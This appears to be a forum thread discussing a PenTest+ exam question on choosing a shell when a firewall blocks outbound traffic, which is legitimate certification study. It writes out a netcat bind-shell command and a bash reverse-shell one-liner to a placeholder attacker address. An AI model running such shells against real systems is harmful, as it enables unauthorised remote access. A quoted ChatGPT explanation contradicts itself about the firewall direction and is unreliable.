Exam PT0-002 topic 1 question 416 discussion

It's C. The outbound connection attempt from A would be blocked.

The firewall is blocking outbound traffic from the remote host, so I would think you need to set up a bind shell which means a listener (l), so nc -vlp 8443 -e /bin/bash for me is the answer. However the -e is left off the answer (maybe that's a typo)

Chat GPT: explanation: The key part of the question is that outbound traffic is blocked by a firewall. To overcome this, the penetration tester needs to execute a reverse shell from the compromised host that initiates an outbound connection to the attacker's machine. The command must also ensure compatibility with typical Unix-based systems. Option A: bash -i >& /dev/tcp/<attacker_ip>/8443 0>&1 This command creates a reverse shell using Bash. Here is how it works: bash -i: Starts an interactive Bash shell.>& /dev/tcp/<attacker_ip>/8443: Redirects input and output streams to a TCP socket connected to the attacker's IP on port 8443.0>&1: Links standard input to the output, enabling two-way communication.Since it originates the connection from the compromised host to the attacker's system, it bypasses firewalls blocking inbound traffic.